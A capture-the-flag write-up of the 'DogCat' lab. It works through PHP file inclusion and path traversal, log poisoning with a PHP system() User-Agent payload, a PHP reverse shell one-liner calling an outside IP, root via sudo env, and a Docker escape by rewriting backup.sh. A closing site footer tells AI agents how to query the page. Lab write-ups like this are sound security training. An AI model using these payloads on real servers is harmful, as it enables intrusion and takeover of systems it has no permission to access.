# DogCat

## RECONNAISSANCE <a href="#id-4693" id="id-4693"></a>

I begin with the trusty old ***nmap*** scan which shows us that ***TCP*** ports 22 and 80 are open. Since I don’t have a ***SSH*** username or password , port 80 is the way to go.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*4oVea5tFSzR_PzfI" alt="" height="355" width="700"><figcaption></figcaption></figure>

On port 80 , I get a page which asks us whether we want to see dog or cat pictures. So I first take a break from tech and browse through some really cute animal photos. Dogs are my favorites though, haha!!

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*yoYLdOd9sy2E1iJh" alt="" height="285" width="700"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*NfnLH_Rexd2_ICBW" alt="" height="710" width="700"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*EzYzS3k1JN8gM71d" alt="" height="541" width="700"><figcaption></figcaption></figure>

A bit relieved of stress, let’s get back to the work at hand.

The URL of the page looks like this:

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*QnOTEt1F9o3AJi3M" alt="" height="56" width="700"><figcaption></figcaption></figure>

Or this:

<figure><img src="https://miro.medium.com/v2/resize:fit:690/0*5MOMiXyC-N7SdixR" alt="" height="82" width="552"><figcaption></figcaption></figure>

So here we can somewhat control the input to view. I try to fidget around with that and see what kind of output we get.

So I put in a bunch of other inputs to view and every time I get this output :

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*VllqVHm0fUHVXG5K" alt="" height="215" width="700"><figcaption></figcaption></figure>

Try to access “/etc/passwd”. Failed!!!

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*kPQ5OximNVI6pcsK" alt="" height="178" width="700"><figcaption></figcaption></figure>

Try to access “./dog”

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*UEPX_AFdLnFIsBXt" alt="" height="295" width="700"><figcaption></figcaption></figure>

Seems like I can call anything, but I need text “dog” or “cat” in the request.

Let’s append “/etc/passwd” in the request.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*2_4jL_4hq74eNQf2" alt="" height="246" width="700"><figcaption></figcaption></figure>

So there is an index.php at play in here which has an include() function !

So I try to access it by putting the URL as : [http://10.10.180.133/?view=dog/../index](http://10.10.180.133/?view=dog%2F..%2Findex)

Now I get following output :

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*VlQvjPND06M3xcjX" alt="" height="247" width="700"><figcaption></figcaption></figure>

It appears that there’s a conflict. Usually this error usually arises when trying to declare the same function twice, which in this case is probably caused due to the include() function.

So to retrieve index.php, I force PHP to base64 encode the file before it is used in the include() function as follows :

Reference: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion>

Let’s intercept with Burp Suite

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*rYakCaCQ0bxl1jv8" alt="" height="284" width="700"><figcaption></figcaption></figure>

Send to Repeater

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*J2OY_2povZ4x3pcs" alt="" height="386" width="700"><figcaption></figcaption></figure>

Let’s view index page first.

http\://\<ip>/?view=php\://filter/convert.base64-encode/resource=./dog../../index

Success!!! There’s result with base64 strings.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*behUx1LElphy3Sq3" alt="" height="312" width="700"><figcaption></figcaption></figure>

Decode with Burp Suite’s Decoder.

Now I have source code of index.php.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*y05KOjpkdW-JE30u" alt="" height="114" width="700"><figcaption></figcaption></figure>

Viewing the source code.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*VG6NQshjOZfonPbG" alt="" height="218" width="700"><figcaption></figcaption></figure>

This means I have to include “dog” or “cat” in the request and If I don’t include parameter “ext”, It will automatically assign “.php”.

## Gaining Access <a href="#id-8c38" id="id-8c38"></a>

Let’s send the request again. This time I will try to read “/etc/passwd ” and include parameter “ext”

http\://\<ip>/?view=./dog../../../../../../../../etc/passwd\&ext=

Success!!!

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*XIvkmxHcmqPl0iff" alt="" height="342" width="700"><figcaption></figcaption></figure>

View page source, not much useful.

My next target is the server access logs which I try to view with :

[http://10.10.180.133/?view=dog/../../../../../var/log/apache2/access.log\&ext=](http://10.10.180.133/?view=dog%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flog%2Fapache2%2Faccess.log\&ext=)

Just as I expected , I get the contents of access.log as follows :

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*5z6oBxSohMZVWHQY" alt="" height="333" width="700"><figcaption></figcaption></figure>

Now I try a bit of command execution. For starters to try feed ls -la into view :

[http://10.10.180.133/?view=ls%20-la\&ext=](http://10.10.180.133/?view=ls+-la\&ext=)

However , I get back the same initial page where we had to chose between dogs and cats.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*gfolZmRvIIy2aH4G" alt="" height="181" width="700"><figcaption></figcaption></figure>

To inspect further , I check our access.log as previously shown. The last line gives us information about the last command we entered.

Two crucial things I notice here are the facts that whatever command we put in view is being encoded and hence not executed and that our user agent isn’t being done so . So what if I can write some executable PHP code into our user agent :}

Let’s add command

Edit User-Agent to be: \<?php system($\_GET\[‘cmd’]); ?>

Send the request as:

/?view=./dog../../../../../../../../var/log/apache2/access.log\&ext=\&cmd=id

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*iF9EgKgTHbPPeYln" alt="" height="280" width="700"><figcaption></figcaption></figure>

Shows us the user-id (www-data) which means it worked.

Let’s get the reverse shell.

Create listener

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*rbkMDr56aY4kfoWJ" alt="" height="303" width="700"><figcaption></figcaption></figure>

Use Burp Suite to encode command as URL

I tried a couple of commands from: <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

Since this site is php, This time I will use php command.

php -r ‘$sock=fsockopen(“10.9.3.51”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Use Burp Suite to encode command as URL

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*N5azRIRNXJBeKuC5" alt="" height="110" width="700"><figcaption></figcaption></figure>

Copy to the request and send.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*gTwmjEnT5eGpFUt3" alt="" height="302" width="700"><figcaption></figcaption></figure>

Back to listener, Now I have a shell.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*PkpWwu1G4Bf3CA-N" alt="" height="212" width="700"><figcaption></figcaption></figure>

Let’s explore the machine.

Now I have first flag.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*VjVilTw-xHso11pa" alt="" height="373" width="700"><figcaption></figcaption></figure>

There’s flag2 in “/var/www”.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*KH1zCSv4ugvD-PSZ" alt="" height="263" width="700"><figcaption></figcaption></figure>

I explore further and can’t find anything else.

## Privilege Escalation <a href="#id-9250" id="id-9250"></a>

Let’s verify if I can use sudo command.

I can use “env”.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*0BG9WAyAKzNUbJ9F" alt="" height="212" width="700"><figcaption></figcaption></figure>

Root command reference: <https://gtfobins.github.io/gtfobins/env/#sudo>

Now I’m root.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*CkJ6MpaYHRXA1hRl" alt="" height="198" width="700"><figcaption></figcaption></figure>

Now I have flag3.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*47CUlMRzM5WOQ9yI" alt="" height="223" width="700"><figcaption></figcaption></figure>

Let’s explore the machine furthermore to find last flag.

Nothing at first.

But I keep exploring all possibilities using known linux folders and files.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*9KdJEPr9weAoe3sQ" alt="" height="466" width="700"><figcaption></figcaption></figure>

There’s backups directory

This “backup.sh” s interesting.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*WmHMuHrO77ay38nN" alt="" height="99" width="700"><figcaption></figcaption></figure>

This machine have a docker.

Let’s bypass it

Create another reverse shell

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*JXG_LA9pc5YKdfOw" alt="" height="207" width="700"><figcaption></figcaption></figure>

Replace former script in backup.sh with reverse shell

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*h84tICMCGa6QS0Xj" alt="" height="95" width="700"><figcaption></figcaption></figure>

Back to listener and wait for awhile.

Now I have another shell.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*AuQkF2bJ3FURuS55" alt="" height="168" width="700"><figcaption></figcaption></figure>

There’s forth flag.

<figure><img src="https://miro.medium.com/v2/resize:fit:875/0*zcNVzs0GQ6BlUF1j" alt="" height="182" width="700"><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://foothold.gitbook.io/blog/dogcat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
